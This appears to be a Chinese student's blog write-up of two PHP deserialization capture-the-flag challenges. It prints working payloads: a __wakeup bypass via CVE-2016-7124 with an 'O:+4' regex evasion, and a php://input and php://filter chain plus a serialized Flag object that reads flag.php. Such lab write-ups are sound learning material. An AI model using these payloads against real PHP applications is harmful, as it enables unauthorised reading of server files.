PHP反序列化漏洞——云演

2023-11-13

昨天搞了搞掌控的反序列化,突然想到当时打CTF时老师给我们冲了个云演的靶场,

就去看了看,也有反序列化漏洞

顺手搞搞加深一下印象

 第一题

点进去后是这样的

 

 

还记得昨天的

php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个:

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)

__destruct():当对象被销毁时会自动调用。(析构函数)

__wakeup() :如前所提,unserialize()时会自动调用。

 根据源码可以得出

本题需要绕过一个__wakeup()函数和一个正则匹配,才能显示出 f15g_1s_here.php 文件

绕过__wakeup():在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过。

绕过__wakeup()是利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

我们要传入一个参数flag,并且将传入的值放入反序列化函数中执行,所以我们要传入的应该是一个序列化后的字符串,此时我们应该类Demo进行序列化

我很懒在在线PHP上进行编写

<?php 
class Demo { 
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'Gu3ss_m3_h2h2.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'Gu3ss_m3_h2h2.php'; 
        } 
    } 
} 

$flag = new Demo('f15g_1s_here.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag);
$flag = str_replace(':1:', ':2:' ,$flag);
echo base64_encode($flag);
?>

绕过正则:使用+可以绕过preg_match(), 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过

 这就是base64编码后的序列化字符串

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
 

 get传参var可得flag。

flag{05b8825669ae9dee519349e4a9edafca}

第二题

进去以后什么都没有!!!!

 

只能去看源码

 

审计代码,发现本题有以下要求:

1)get方式传递三个参数

2)存在$user

3)读取的$user文件内容===welcome to the bugkuctf

4)$file要求为hint.php

所以在Burp的重放时,要满足前三点

get传参是:/0.1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

 post传参是:welcome to the bugkuctf

 

PD9waHAgIA0KY2xhc3MgRmxhZ3svL2ZsYWcucGhwICANCiAgICBwdWJsaWMgJGZpbGU7ICANCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgDQogICAgICAgIGlmKGlzc2V0KCR0aGlzLT5maWxlKSl7ICAvL+i/memHjCR0aGlzLT5maWxlIOWPr+S7peiuvue9ruS4umZsYWcucGhwDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgLy/mmL7npLpmbGFnLnBocOWGheWuuQ0KICAgZWNobyAiPGJyPiI7DQogIHJldHVybiAoImdvb2QiKTsNCiAgICAgICAgfSAgDQogICAgfSAgDQp9ICANCj8+ICA=  

这不用说就是base64了

转码吧

 代码如下:

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  //这里$this->file 可以设置为flag.php
            echo file_get_contents($this->file); //显示flag.php内容
   echo "<br>";
  return ("good");
        }  
    }  
}  
?>  

在线php

 啥都没解出来,哈哈哈哈

仔细看代码,好想在说flag.php

将hint.php改为flag.php

又被骗了!!!现在不给啥时候给!!!

试试index.php,还真有收获

 

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KaWYoaXNzZXQoJHR4dCkmJihmaWxlX2dldF9jb250ZW50cygkdHh0LCdyJyk9PT0id2VsY29tZSB0byB0aGUgYnVna3VjdGYiKSl7ICANCiAgICBlY2hvICJoZWxsbyBhZG1pbiE8YnI+IjsgIA0KICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnLyIsJGZpbGUpKXsgLy/ov4fmu6RVUkzph4znmoRmbGFn5a2X55y8DQogICAgZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgLy/lj6/ku6XlnKjlj43luo/liJfljJbnmoTov4fnqIvkuK3ov5Tlm55mbGFnLnBocOeahOWAvO+8jOW5tuWcqOi/memHjOaYvuekug0KICAgIH0gIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCB0aGUgbnVtYmVyIG9mIGJ1Z2t1ICEgIjsgIA0KfSAgDQo/PiAgDQo8IS0tICANCiR1c2VyID0gJF9HRVRbInR4dCJdOyAgDQokZmlsZSA9ICRfR0VUWyJmaWxlIl07ICANCiRwYXNzID0gJF9HRVRbInBhc3N3b3JkIl07ICANCmlmKGlzc2V0KCR1c2VyKSYmKGZpbGVfZ2V0X2NvbnRlbnRzKCR1c2VyLCdyJyk9PT0id2VsY29tZSB0byB0aGUgYnVna3VjdGYiKSl7ICANCiAgICBlY2hvICJoZWxsbyBhZG1pbiE8YnI+IjsgIA0KICAgIGluY2x1ZGUoJGZpbGUpOyAvL2hpbnQucGhwICANCn1lbHNleyAgDQogICAgZWNobyAieW91IGFyZSBub3QgYWRtaW4gISAiOyAgDQp9ICANCiAtLT4gIA0K  

 再次解码

 

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    if(preg_match("/flag/",$file)){ //过滤URL里的flag字眼
    echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  //可以在反序列化的过程中返回flag.php的值,并在这里显示
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
?>  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

 真是俄罗斯套娃一个套一个

从源码中我们可以得知如下信息:

1)对关键字flag进行了正则匹配

2)在hint.php中定义了一个FLag类,其中有一个__tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数。

3)__tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开

4)在index.php源码中看到了$password的作用

5)在else代码块中又包含了$file,并且对$password进行反序列化

总结成代码就是

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  //这里$this->file 可以设置为flag.php
            echo file_get_contents($this->file); //显示flag.php内容
   echo "<br>";
  return ("good");
        }  
    }  
}  
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?> 

 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

最后我们把构造好的payload进行传参即可。

 

先就两关吧!!快11点了我得赶快会宿舍 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PHP反序列化漏洞——云演 的相关文章

随机推荐

  • 红日安全vulnstack-ATT&CK实战系列 红队实战(四)

    一 介绍 下载地址http vulnstack qiyuanxuetang net vuln detail 6 strusts漏洞利用phpmyadmin getshell tomcat 漏洞利用 docker逃逸 ms14 068 ssh
  • AutoScraper——爬虫神器

    AutoScraper是一个自动化的爬虫工具 非常智能 而且使用简单便捷 AutoScraper 是使用 Python 实现的 Web 爬虫 兼容 Python 3 能快速且智能获取指定网站上的数据 在github上具有4 8K githu
  • springboot结合redis(保存用户登录信息)

    一 导入包
  • 1.计算机图形学 实验 线条(利用C语言图形函数绘图)

    1 修改例1的代码 改变顶点个数 要求50个顶点 使得得到的图形更逼近于正圆 在实验报告中给出完整的代码和对应的运行结果截图 include
  • 用python比较大小

    1 比较 ax lt xa 的大小 代码为 print ax lt xa 结果为True print ord a print ord x 字符串是通过ASCII表来进行顺次为比较大小 2 is与 的区别 print 1 is True 为F
  • Java为什么不能写大型游戏?

    所谓大游戏 一般指端游 必须是C 没办法 C 和java的效率还是有很大差距的 基本上所有东西都可以用java开发 但是java致命的一点就是不能直接操作内存 只能安装虚拟机 这就造成了java的开发有很多局限性 但是java提供了本地方法
  • python 简单k近邻分类器的实现

    1 问题 在此使用k近邻算法实现一个简单分类器 其中model xls表样式如下表1所示 表1 model xls数据表 分析 数据存放在model xls中 需要利用panda数据 对数据进行切片为指标和结果 切片后的数据类型为dataf
  • 教你几种MySQL 中常见的高可用架构部署方案

    MySQL 中的集群部署方案 前言 这里来聊聊 MySQL 中常用的部署方案 MySQL Replication MySQL Replication 是官方提供的主从同步方案 用于将一个 MySQL 的实例同步到另一个实例中 Replica
  • 现代控制理论4——线性系统状态方程的解

    注 本文是在MOOC平台上学习西北工业大学 现代控制理论基础 郭建国 赵斌 郭宗易 的课程进行随笔记录与整理 一 线性定常连续系统状态方程的解 齐次方程 1 求解 齐次状态方程 x Ax 其解描述的是 即无控情况下在初始状态作用下系统的自由
  • Spring Boot 中的 @Async 注解是什么,如何使用

    Spring Boot 中的 Async 注解是什么 如何使用 引言 在开发 Web 应用程序时 经常需要执行一些耗时的操作 比如发送邮件 生成报表 调用第三方接口等等 这些操作如果在主线程中执行 会导致请求响应时间过长 影响用户体验 为了
  • 双层神经网络模型

    第8到12行为正向传播算法 输出一个损失函数 其中h为sigmod激活函数 第11行为L2损失函数 第14到20行为反向传播算法 使用梯度下降法对权值进行优化 注 常见的几种Activation Functions
  • FAT32文件系统中文件的“修改时间”

    海思 项目背景 项目中用到AV3板 AV1板及CPU板 AV3板给AV1板校时 CPU板给AV3板校时 AV3板是UTC时间 AV1板和CPU板是CST时间 且时区不能修改 问题说明 AV3板产生的文件的 修改时间 在windows里面查看
  • ESP8266 + Arduino (四) 客户端向服务器发送数据信息---2022.3.5

    学习目的 通过两块esp8266模块实现互联 一块作为服务器 另一块作为客户端 连接成功后客户端发送http请求 并通过客户端的按键来控制服务器端的LED 的亮灭 在这个示例中 ESP8266客户端将会通过HTTP协议向ESP8266服务器
  • MySQL数据类型char与varchar中数字代表的究竟是字节数还是字符数?

    实例是最好的说明 所以 废话少说 看表看例子 mysql gt show create table test varchar utf8 G 1 row Table test varchar utf8 Create Table CREATE
  • 搜索引擎使用技巧汇总,一篇就够了

    搜索引擎使用必知必会技巧汇总 写在前面 我们在从互联网获取信息的时候 使用最频繁的莫过于搜索引擎 查Bug 找资源过程中很浪费时间 而学习一些搜索技巧可以大大提高我们的效率 小Tip 注 以下方法在Google搜索引擎上正常使用 百度未测试
  • CodeWhisperer插件使用体验

    官方教程点击跳转 使用工具 1 vscode 2 插件 AWS Toolkit 免费使用 安装以后如何使用 1 首先要有一个aws账号 2 插件下载好以后登录aws账号 我们主要用这款插件的CodeWhisperer这个功能 其它的自行看官
  • C++多态性:虚函数的调用原理

    C 多态性 虚函数的调用原理 多态性给我们带来了好处 多态使得我们可以通过基类的引用或指针来指明一个对象 包含其派生类的对象 当调用函数时可以自动判断调用的是哪个对象的函数 一个函数说明为虚函数 表明在继承的类中重载这个函数时 当调用这个函
  • Python 三目运算符讲解(作用、语法、代码示例)

    这篇文章介绍三目运算符的作用 语法 利用例子体验一下三目运算符 三目运算符的作用 化简代码量的 化简的是非常简单的if else的代码 也就是if条件成立就执行一句代码 不成立就执行另外一句代码 三目运算符含义 三目运算符也叫作三元运算符或
  • Linux - 系统性能监控

    重点讨论一些有助于监视系统整体性能的工具 当理解了工作负荷的系统整体性能特征之后 还可以使用这组工具标识出哪些特定进程是整体工作负荷的性能瓶颈 在许多情况下 系统监视工具有助于推动系统调优工作 使得关键的性能瓶颈得到极大减少或消除 另一些情
  • PHP反序列化漏洞——云演

    昨天搞了搞掌控的反序列化 突然想到当时打CTF时老师给我们冲了个云演的靶场 就去看了看 也有反序列化漏洞 顺手搞搞加深一下印象 第一题 点进去后是这样的 还记得昨天的 php中有一类特殊的方法叫 Magic function 魔术方法 这里